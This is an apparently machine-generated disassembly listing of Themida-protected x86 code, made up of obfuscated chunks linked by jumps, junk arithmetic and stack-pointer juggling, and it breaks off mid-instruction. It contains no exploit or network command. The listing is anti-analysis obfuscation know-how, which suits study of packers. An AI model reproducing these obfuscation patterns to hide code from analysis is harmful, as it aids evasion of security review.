--------------------------------------------------------------------------- loc_589EB2: ; CODE XREF: Themida_:0058EEA6j push ebx mov ebx, 2120032Eh shl ebx, 1 sub ebx, 0D04358Eh inc ebx jmp loc_589E36 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_589EC6: ; CODE XREF: sub_585452-174Aj add edi, eax sub edi, 264D431Fh sub edi, 6D241D33h pop eax add edi, 2 xor edi, [esp-8+arg_4] xor [esp-8+arg_4], edi xor edi, [esp-8+arg_4] mov esp, [esp-8+arg_4] dec byte ptr [esp-8+arg_4] pushf jmp loc_583C20 ; END OF FUNCTION CHUNK FOR sub_585452 ; =============== S U B R O U T I N E ======================================= sub_589EF0 proc near ; CODE XREF: sub_58F923-65AEj var_4 = dword ptr -4 arg_0 = dword ptr 4 push ebp mov ebp, 0B8606Bh and ebp, 2A1E073Ah or ebp, 5C6C22CBh shr ebp, 5 xor ebp, 3F358479h xor ecx, ebp mov ebp, [esp+4+var_4] add esp, 4 sub [esp+arg_0], ecx mov ecx, [esp+0] add esp, 4 jmp loc_583C20 sub_589EF0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_589F22: ; CODE XREF: sub_585452+8B70j add ecx, ebx add ecx, 38285709h jmp loc_58AFB4 ; --------------------------------------------------------------------------- loc_589F2F: ; CODE XREF: sub_585452+1289j push [esp+46h+var_44+2] pop edi pop [esp+46h+var_48+2] jmp loc_58E3E0 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_589F3C: ; CODE XREF: Themida_:005849ABj pop eax jmp loc_589BD4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_589F42: ; CODE XREF: sub_585452+5FE8j sub edi, ecx pop ecx push edi push eax jmp loc_58A77A ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_589F4C: ; CODE XREF: Themida_:00583DB1j add ebx, ecx jmp loc_5867D2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_589F53: ; CODE XREF: sub_585452+8F10j sub ebx, ecx mov ecx, [esp+46h+var_48+2] add esp, 4 push dword ptr [eax] jmp loc_583C20 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_589F65: ; CODE XREF: Themida_:0058BCF4j jmp loc_583C20 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_589F6A: ; CODE XREF: sub_585452+867j push 1908h jmp loc_5860D6 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58DA2E loc_589F74: ; CODE XREF: sub_58DA2E-2496j xor al, ch pop cx push 2D09h mov [esp+0Ah+var_C+2], ecx push eax jmp sub_58A170 ; END OF FUNCTION CHUNK FOR sub_58DA2E ; --------------------------------------------------------------------------- loc_589F86: ; CODE XREF: Themida_:0058E396j mov cl, ah jmp loc_58FA1A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58EFBD loc_589F8D: ; CODE XREF: sub_58EFBD-239Fj push [esp-4+arg_0] pop ebp add esp, 4 ; END OF FUNCTION CHUNK FOR sub_58EFBD ; START OF FUNCTION CHUNK FOR sub_585452 loc_589F94: ; CODE XREF: sub_585452:loc_58CDB4j ; sub_58EFBD-5E1j mov ebx, [esp+0] push edx mov edx, esp sub esp, 4 mov [esp-8+arg_4], edi mov edi, 0D5C2620h xor edi, 2AD5375Eh jmp sub_58F487 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- lodsb push edx push ebx mov bh, 0EBh or bh, 6Ch xor bh, 98h mov dl, bh pop ebx add al, 0D3h add al, dl push ecx mov cl, 0C7h jmp loc_58A475 ; --------------------------------------------------------------------------- push dword ptr [edi+40h] jmp loc_583C20 ; =============== S U B R O U T I N E ======================================= sub_589FD5 proc near ; CODE XREF: sub_585452+8CDj var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch ; FUNCTION CHUNK AT 00583E92 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 005866E0 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00586703 SIZE 00000028 BYTES ; FUNCTION CHUNK AT 005876D8 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00587CB7 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00587E3C SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0058813F SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00588443 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00588EB8 SIZE 00000036 BYTES ; FUNCTION CHUNK AT 0058997D SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0058A44E SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0058BAE3 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0058F63D SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0058FD4F SIZE 00000026 BYTES push ebp mov ebp, 71683B49h mov esi, ebp mov ebp, [esp+4+var_4] add esp, 4 shl esi, 2 sub esi, 302357D2h dec esi shl esi, 6 add esi, 0A09AABC4h jmp loc_58BAE3 sub_589FD5 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_589FFB: ; CODE XREF: Themida_:00586174j pop edi sub [esp+4], ebx push dword ptr [esp] pop ebx add esp, 4 push dword ptr [esp] jmp loc_589D4F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58A00F: ; CODE XREF: sub_585452-AD5j mov [esp-14h+arg_E+2], edx push eax mov eax, 7EFC1617h add eax, 0FFFFFFFFh jmp loc_586369 ; --------------------------------------------------------------------------- loc_58A022: ; CODE XREF: sub_585452+3942j add esp, 4 jmp loc_5870EC ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58A02A: ; CODE XREF: Themida_:0058F366j add bl, 7Fh add bl, al sub bl, 7Fh jmp loc_585696 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58A037: ; CODE XREF: sub_585452+A10Ej push ecx push [esp-1Eh+arg_1E] jmp loc_588D21 ; --------------------------------------------------------------------------- loc_58A041: ; CODE XREF: sub_585452-B00j mov ebp, [esp-0Ch+arg_8] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp-8+arg_4] pop esp jmp loc_585730 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58A05C: ; CODE XREF: Themida_:0058748Dj jmp loc_583C20 ; --------------------------------------------------------------------------- loc_58A061: ; CODE XREF: Themida_:00589996j add esi, 4 add esi, 4 xchg esi, [esp] jmp loc_58CE20 ; --------------------------------------------------------------------------- loc_58A072: ; CODE XREF: Themida_:0058F64Bj push esp pop ecx add ecx, 4 push 5EC7h mov [esp], edi push ecx mov ecx, 3A2D2FD3h neg ecx and ecx, 1D76B74h xchg ebp, ecx not ebp jmp loc_58B6DA ; --------------------------------------------------------------------------- loc_58A099: ; CODE XREF: Themida_:0058CB0Aj push edx push ebx mov bh, 0D2h mov dl, bh pop ebx add dl, 1Ch add al, dl pop edx sub al, dl jmp loc_58C48C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58A0AD: ; CODE XREF: sub_585452+5C70j pop ebx or edx, 23750CE0h not edx push eax mov eax, 4D1D71DAh add edx, eax jmp loc_586FD8 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58A0C3: ; CODE XREF: Themida_:00588AA1j pop dword ptr [esp] mov esp, [esp] mov eax, [esp] push 516Bh mov [esp], ecx push esp jmp loc_585F07 ; --------------------------------------------------------------------------- loc_58A0DA: ; CODE XREF: Themida_:0058B457j mov eax, [esp] add esp, 4 add esp, 4 push ebx jmp loc_584046 ; --------------------------------------------------------------------------- loc_58A0EF: ; CODE XREF: Themida_:0058D326j push eax mov eax, 4 add ebp, 620520DEh add ebp, 64780510h jmp loc_58EED3 ; --------------------------------------------------------------------------- loc_58A106: ; CODE XREF: Themida_:00588926j xchg esi, [esp] pop esp mov [esp], esi mov esi, esp push eax mov eax, 29313B89h sub eax, 1 xor eax, 415020D9h shr eax, 5 shr eax, 3 add eax, 0FF979EE9h push edi mov edi, 12420D49h inc edi jmp loc_5868DE ; --------------------------------------------------------------------------- loc_58A136: ; CODE XREF: Themida_:0058CFA1j add esi, 5F5C3184h add esi, 1DA6558Ah jmp loc_58D9F8 ; --------------------------------------------------------------------------- loc_58A147: ; CODE XREF: Themida_:005878B1j pop ax jmp loc_584697 ; --------------------------------------------------------------------------- loc_58A14E: ; CODE XREF: Themida_:0058E4EDj not ebx sub esp, 4 mov [esp], ecx mov ecx, 58116D88h inc ecx add ecx, 0FFFFFFFFh add ecx, 19705E9Eh sub ecx, 328972C2h jmp loc_58C63C ; =============== S U B R O U T I N E ======================================= sub_58A170 proc near ; CODE XREF: sub_58DA2E-3AADj var_8 = dword ptr -8 var_4 = dword ptr -4 arg_2 = word ptr 6 ; FUNCTION CHUNK AT 005848D6 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00586769 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 00586F81 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005874AA SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0058B9F6 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0058C25D SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0058C3A8 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0058DCE9 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0058E74F SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0058FEA2 SIZE 00000013 BYTES push ebx mov bh, 26h mov al, 86h add al, bh pop ebx shl al, 6 push ecx mov cl, 0E4h dec cl jmp loc_58DCE9 sub_58A170 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_58A185: ; CODE XREF: Themida_:005892BEj sub edx, 4 push edx jmp loc_585C58 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58A191: ; CODE XREF: sub_585452-A1Aj add [esp-18h+arg_12+2], 4 push [esp-18h+arg_12+2] pop eax add esp, 4 push edi mov edi, 4 add eax, 1EC20E30h jmp loc_589016 ; --------------------------------------------------------------------------- loc_58A1AF: ; CODE XREF: sub_585452+8C65j or edx, 74401A67h neg edx add edx, 20AD406Ch xor edi, edx pop edx sub ecx, 7DC03F31h add ecx, edi add ecx, 7DC03F31h pop edi sub ecx, 4 jmp loc_586834 ; --------------------------------------------------------------------------- loc_58A1D7: ; CODE XREF: sub_585452+2CDCj add edi, 4 add edi, 4 xchg edi, [esp-0Ch+arg_8] pop esp sub al, 86h sub al, cl add al, 86h mov ecx, [esp+0] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp-0Ch+arg_8] mov esp, [esp-0Ch+arg_8] sub bl, 47h add bl, 0B1h add bl, al push ecx mov cl, 0Bh add cl, 1 jmp loc_584961 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58A215: ; CODE XREF: Themida_:0058FD4Aj mov [esp], ecx push ebx jmp loc_5866B0 ; --------------------------------------------------------------------------- loc_58A21E: ; CODE XREF: Themida_:0058C1D0j pop edi inc edx or edx, 164031FAh sub edx, 9779FDFAh jmp loc_58468E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58D97C loc_58A231: ; CODE XREF: sub_58D97C+29Aj mov ecx, [esp+4+var_4] add esp, 4 and eax, edi mov edi, [esp+0] jmp sub_58CCD7 ; END OF FUNCTION CHUNK FOR sub_58D97C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_587B94 loc_58A244: ; CODE XREF: sub_587B94+13j push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp+4+var_4] pop esp push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp+4+var_4] pop esp jmp loc_583C20 ; END OF FUNCTION CHUNK FOR sub_587B94 ; =============== S U B R O U T I N E ======================================= sub_58A26F proc near ; CODE XREF: sub_585452+6FE0j var_C = dword ptr -0Ch ; FUNCTION CHUNK AT 00586640 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0058A70F SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0058AD9C SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0058B777 SIZE 00000008 BYTES push ebp mov ebp, 326E5BCBh and ebp, 66F65B3Dh jmp loc_586640 sub_58A26F endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58EFBD loc_58A280: ; CODE XREF: sub_58EFBD-6E00j add [esp-8+arg_8], 44E25D72h add [esp-8+arg_8], ebp sub [esp-8+arg_8], 44E25D72h pop ebp pop eax jmp loc_587828 ; END OF FUNCTION CHUNK FOR sub_58EFBD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58960C loc_58A29B: ; CODE XREF: sub_58960C-2976j pop ebx sub esp, 4 mov [esp+8+var_8], ebp jmp loc_58DE4A ; END OF FUNCTION CHUNK FOR sub_58960C ; --------------------------------------------------------------------------- loc_58A2AA: ; CODE XREF: Themida_:0058F262j pop esp mov [esp], edi jmp loc_589759 ; --------------------------------------------------------------------------- loc_58A2B3: ; CODE XREF: Themida_:0058D0A2j pop ebp jmp loc_58BAA5 ; --------------------------------------------------------------------------- loc_58A2B9: ; CODE XREF: Themida_:0058CCD2j mov edx, [esp] jmp loc_58E04F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58A2C1: ; CODE XREF: sub_585452+3EC2j add eax, 15B85B67h push [esp+0Ah+var_C+2] pop edi add esp, 4 push edi push 4820h mov [esp+0Eh+var_10+2], eax push ebx mov ebx, 4165236Ch push eax jmp loc_589A93 ; --------------------------------------------------------------------------- loc_58A2E2: ; CODE XREF: sub_585452+2D9j neg ebp jmp loc_58715E ; --------------------------------------------------------------------------- loc_58A2E9: ; CODE XREF: sub_585452+2C68j sub eax, edx add eax, 6E465D6Fh jmp loc_589386 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_586650 loc_58A2F5: ; CODE XREF: sub_586650+4384j sub esi, 6064170Bh pop edx push edx mov edx, 4 add esi, edx pop edx xchg esi, [esp+8+var_8] pop esp jmp sub_58905F ; END OF FUNCTION CHUNK FOR sub_586650 ; --------------------------------------------------------------------------- loc_58A30E: ; CODE XREF: Themida_:005881A2j pop esi add ebp, ebx pop ebx jmp loc_58E4A3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_589967 loc_58A317: ; CODE XREF: sub_589967-E8Fj pop edx sub ebp, 5E413F23h add edx, ebp pop ebp jmp loc_58BCAD ; END OF FUNCTION CHUNK FOR sub_589967 ; --------------------------------------------------------------------------- mov cx, [esp] push esi sub esp, 4 push esp pop dword ptr [esp] add dword ptr [esp], 4 mov esi, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] jmp loc_58958F ; --------------------------------------------------------------------------- loc_58A353: ; CODE XREF: Themida_:0058470Fj pop esi jmp loc_58E20E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58A359: ; CODE XREF: sub_585452+5B6Bj pop ecx push esi jmp loc_58DFB2 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- push esi mov esi, esp push ebp mov ebp, 7E786A84h xor ebp, 7E786A80h add esi, ebp pop ebp push edx mov edx, 4 sub esi, edx push dword ptr [esp] jmp loc_584371 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58EFBD loc_58A382: ; CODE XREF: sub_58EFBD-86F9j xchg edx, esi not edx xchg edx, esi add esi, 6F2C0D8Ch mov edx, esi jmp loc_58BFAC ; END OF FUNCTION CHUNK FOR sub_58EFBD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58D28B loc_58A395: ; CODE XREF: sub_58D28B+1866j add [esp-4+arg_0], 4 pop edi add edi, 4 push ecx mov ecx, 168810AEh sub ecx, 168810AAh sub edi, ecx pop ecx xchg edi, [esp-8+arg_4] pop esp mov [esp-0Ch+arg_8], ebx push eax push ecx mov cl, dl mov ah, cl pop ecx mov bl, ah pop eax jmp sub_58481A ; END OF FUNCTION CHUNK FOR sub_58D28B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58A3C8: ; CODE XREF: sub_585452+1BC3j pop [esp+0Ah+var_C+2] pop esp idiv cx push edi sub esp, 4 push 61F9h mov [esp+0Eh+var_10+2], esp add [esp+0Eh+var_10+2], 4 pop [esp+0Eh+var_10+2] sub esp, 4 mov [esp+0Eh+var_10+2], eax mov eax, 4 add [esp+0Eh+var_C+2], eax jmp loc_58F699 ; --------------------------------------------------------------------------- loc_58A3F9: ; CODE XREF: sub_585452-10C6j xor eax, ecx xchg eax, ecx push 1193h mov [esp+4+var_4], ecx jmp loc_585D8A ; --------------------------------------------------------------------------- loc_58A409: ; CODE XREF: sub_585452+11A9j push ecx mov ecx, 4 add ebx, ecx jmp loc_58C889 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58A416: ; CODE XREF: Themida_:005844FFj xor edx, [esp] xor [esp], edx xor edx, [esp] mov esp, [esp] shr byte ptr [esp], cl pushf jmp loc_583C20 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58A42B: ; CODE XREF: sub_585452-5ECj add eax, 42F7481Ah pop ebx push [esp-2Eh+arg_28+2] pop edx add esp, 4 push dword ptr [edi+eax*4] push 399Eh mov [esp-2Ah+arg_24+2], edi push 22D5325Ah pop edi jmp loc_58AE98 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_589FD5 loc_58A44E: ; CODE XREF: sub_589FD5-653j and edi, 4A7C3DF1h jmp loc_58FD4F ; END OF FUNCTION CHUNK FOR sub_589FD5 ; =============== S U B R O U T I N E ======================================= sub_58A459 proc near ; CODE XREF: sub_585452+2A70j var_4 = dword ptr -4 sub esp, 4 mov [esp+4+var_4], eax mov eax, 5FF46F74h jmp sub_58CABE sub_58A459 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58A469: ; CODE XREF: sub_585452+2BF3j pop ebx mov edi, [esp+12h+var_14+2] add esp, 4 jmp loc_58F1F0 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58A475: ; CODE XREF: Themida_:00589FC8j shl cl, 7 sub cl, 0ADh sub al, 0ACh sub al, cl add al, 0ACh push dword ptr [esp] jmp loc_5863AE ; --------------------------------------------------------------------------- loc_58A489: ; CODE XREF: Themida_:005899D0j mov eax, [esp] add esp, 4 jmp loc_58F36B ; --------------------------------------------------------------------------- loc_58A497: ; CODE XREF: Themida_:0058DE1Cj add ecx, 4D25454Ah push edi mov edi, 41D32AC5h add edi, 0BFAB45F1h or ecx, edi jmp loc_5856A0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58A4B0: ; CODE XREF: sub_585452+799Fj push [esp+0Eh+var_10+2] mov esi, [esp+12h+var_14+2] add esp, 4 push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp+12h+var_14+2] pop esp xchg ebp, [esp+0Eh+var_10+2] jmp loc_58ABCE ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58FA66 loc_58A4D4: ; CODE XREF: sub_58FA66-B30Ej push esi mov esi, 51DC6431h mov edx, 26CA36B3h xor edx, esi pop esi not edx sub edx, 347C534Eh add edx, 79AD473Ah jmp loc_583E75 ; END OF FUNCTION CHUNK FOR sub_58FA66 ; =============== S U B R O U T I N E ======================================= sub_58A4F5 proc near ; CODE XREF: sub_585452+6A62j var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 005876E9 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00588493 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 0058B35E SIZE 00000016 BYTES sub esp, 4 mov [esp+4+var_4], ecx push ebx jmp loc_5876E9 sub_58A4F5 endp ; --------------------------------------------------------------------------- loc_58A504: ; CODE XREF: Themida_:0058CEB5j push ebp push dword ptr [esp+4] push dword ptr [esp] mov ebp, [esp] add esp, 4 push ebp push esp mov ebp, [esp] add esp, 4 add ebp, 4 add ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp pop dword ptr [esp] pop esp mov [esp], ax jmp loc_58F506 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58E931 loc_58A53A: ; CODE XREF: sub_58E931+7j sub [esp+8+var_4], edx pop edx push [esp+4+var_4] pop eax add esp, 4 push edi jmp loc_5846F5 ; END OF FUNCTION CHUNK FOR sub_58E931 ; --------------------------------------------------------------------------- loc_58A54F: ; CODE XREF: Themida_:005874CBj sub esp, 4 jmp loc_585DC9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58A55A: ; CODE XREF: sub_585452+415j pop ebx add ebp, esi sub esp, 4 mov [esp+42h+var_44+2], ebx jmp loc_58C222 ; --------------------------------------------------------------------------- loc_58A56B: ; CODE XREF: sub_585452+2920j pop ecx jmp loc_58ED76 ; --------------------------------------------------------------------------- loc_58A571: ; CODE XREF: sub_585452+605j mov ecx, 4B1551F0h add ebx, 3E584206h sub ebx, ecx sub ebx, 3E584206h mov ecx, [esp+52h+var_54+2] push eax jmp loc_58932C ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58A58D: ; CODE XREF: Themida_:0058F279j push edi jmp loc_589958 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58A593: ; CODE XREF: sub_585452+9DE0j push edi dec [esp+5Ah+var_5C+2] pop edi and edi, 4422705h jmp loc_58C920 ; END OF FUNCTION CHUNK FOR sub_585452 ; =============== S U B R O U T I N E ======================================= sub_58A5A3 proc near ; CODE XREF: sub_585452+9244j var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00585078 SIZE 00000037 BYTES ; FUNCTION CHUNK AT 005871E9 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00587CFE SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00587EC7 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0058888C SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0058C6F8 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0058D89A SIZE 00000024 BYTES ; FUNCTION CHUNK AT 0058F3F1 SIZE 00000007 BYTES sub esp, 4 mov [esp+4+var_4], esp push ecx jmp loc_58C6F8 sub_58A5A3 endp ; --------------------------------------------------------------------------- loc_58A5AF: ; CODE XREF: Themida_:005863AFj add esp, 4 pop edx push 7EFEh mov [esp], ecx mov ch, 0CDh add al, ch pop ecx jmp loc_584BC0 ; --------------------------------------------------------------------------- loc_58A5C8: ; CODE XREF: Themida_:0058E2F5j add edi, 36806E21h add edi, edx sub edi, 36806E21h jmp loc_58E6B6 ; --------------------------------------------------------------------------- push dword ptr [esp] pop ecx push 1FF8h mov [esp], edx push esp pop edx add edx, 4 push ebp push eax push edi mov edi, 518C014Ah or edi, 59A56C5Ah neg edi sub edi, 311F3530h not edi jmp loc_58D569 ; --------------------------------------------------------------------------- loc_58A60C: ; CODE XREF: Themida_:0058868Fj add esi, 4 xchg esi, [esp] pop esp xor eax, 2FE86EBBh jmp loc_583C20 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58A61D: ; CODE XREF: sub_585452+1BCEj add ebx, eax add ebx, 0D4F491Ah pop eax push ebx jmp loc_587010 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58A62C: ; CODE XREF: Themida_:0058AB90j xchg ebp, [esp] mov esp, [esp] sar byte ptr [esp], cl pushf jmp loc_583C20 ; --------------------------------------------------------------------------- loc_58A63B: ; CODE XREF: Themida_:0058FC74j push ebx mov ebx, 127D0FB0h jmp loc_589776 ; --------------------------------------------------------------------------- loc_58A646: ; CODE XREF: Themida_:00587DE1j sub edi, 75C85584h push ebp mov ebp, 6AE7363h neg ebp add ebp, 29376716h shl ebp, 8 jmp loc_587A00 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58FA66 loc_58A662: ; CODE XREF: sub_58FA66-A952j pop eax add esp, 4 sub esp, 4 mov [esp+0], ebp push esi push eax jmp loc_589D0E ; END OF FUNCTION CHUNK FOR sub_58FA66 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58A676: ; CODE XREF: sub_585452+83Cj add edi, 4 sub edi, 4 sub esp, 4 mov [esp-0Eh+arg_8+2], edi push [esp-0Eh+arg_E] pop edi pop [esp-0Eh+arg_8+2] pop esp mov [esp-16h+arg_12], ebp jmp loc_58D1BD ; --------------------------------------------------------------------------- loc_58A699: ; CODE XREF: sub_585452+3015j mov ecx, [edx] mov edx, [esp+4+var_4] add esp, 4 sub esp, 4 mov [esp+4+var_4], ebp push 4E1h mov [esp+8+var_8], esi push edx mov edx, 40h jmp loc_5853C4 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58A6C0: ; CODE XREF: Themida_:0058D6CEj xchg esi, [esp] pop esp push ecx mov ecx, esp add ecx, 4 jmp loc_5875F6 ; --------------------------------------------------------------------------- loc_58A6D2: ; CODE XREF: Themida_:0058BA25j push eax mov eax, esp add eax, 4 sub eax, 4 jmp loc_584320 ; --------------------------------------------------------------------------- loc_58A6E4: ; CODE XREF: Themida_:0058E1DFj push 3FB4h mov [esp], esp jmp loc_588CD2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_587574 loc_58A6F1: ; CODE XREF: sub_587574+54D6j pop esp mov [esp+0], eax mov eax, 20h push 1BDDh mov [esp-4+arg_0], edi jmp loc_5869DA ; END OF FUNCTION CHUNK FOR sub_587574 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58A707: ; CODE XREF: sub_585452+A00Ej xor bl, 7Bh jmp loc_58C013 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58A26F loc_58A70F: ; CODE XREF: sub_58A26F+150Bj add esp, 4 inc ecx jmp sub_58CA39 ; END OF FUNCTION CHUNK FOR sub_58A26F ; --------------------------------------------------------------------------- mov cx, [esp] push esi push 581Fh mov [esp], esp add dword ptr [esp], 4 mov esi, [esp] jmp loc_589993 ; --------------------------------------------------------------------------- loc_58A734: ; CODE XREF: Themida_:0058B949j sub bl, cl push dword ptr [esp] jmp loc_58CE5A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58A73E: ; CODE XREF: sub_585452+54ABj jmp loc_583C20 ; --------------------------------------------------------------------------- loc_58A743: ; CODE XREF: sub_585452+1987j push esi mov esi, 3C6B374Eh mov ebp, 0C394C8B3h jmp loc_58BA8F ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- jmp loc_583C20 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58EFBD loc_58A758: ; CODE XREF: sub_58EFBD-A06Aj push edx mov edx, 0E8EF4C6Ch add ecx, edx pop edx sub edx, ecx pop ecx and eax, edx pop edx or eax, eax jz loc_58BF42 sub esp, 4 mov [esp-0Ch+arg_8], ebx jmp loc_58B94E ; END OF FUNCTION CHUNK FOR sub_58EFBD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58A77A: ; CODE XREF: sub_585452+4AF5j push 15B85B67h pop eax sub [esp+46h+var_44+2], eax pop eax jmp loc_589CD1 ; --------------------------------------------------------------------------- loc_58A78A: ; CODE XREF: sub_585452+A9F6j add ecx, 2 xchg ecx, [esp+42h+var_44+2] pop esp jmp sub_585350 ; --------------------------------------------------------------------------- loc_58A799: ; CODE XREF: sub_585452+7359j xchg ecx, [esp+3Eh+var_40+2] pop esp sub eax, 4 xchg eax, [esp+3Ah+var_3C+2] pop esp jmp loc_588AA6 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58A7AB: ; CODE XREF: Themida_:00584CF6j mov eax, 2 add esi, eax jmp loc_584F58 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58A7B7: ; CODE XREF: sub_585452+3354j mov ch, bl mov dh, ch pop ecx pop ebx xor al, dh jmp loc_58CA93 ; --------------------------------------------------------------------------- loc_58A7C4: ; CODE XREF: sub_585452-A5Fj sub [esp-18h+arg_12+2], 455B15F2h pop eax add eax, 455B15F2h pop ecx push edi sub esp, 4 jmp loc_585D24 ; --------------------------------------------------------------------------- loc_58A7DE: ; CODE XREF: sub_585452+706j movzx cx, ah push 5111h mov [esp+0], esi sub esp, 4 mov [esp-0Ch+arg_8], esp add [esp-0Ch+arg_8], 4 mov esi, [esp-0Ch+arg_8] push ebp jmp loc_58D6F3 ; --------------------------------------------------------------------------- loc_58A800: ; CODE XREF: sub_585452+9ADDj mov word ptr [esp-8+arg_4], 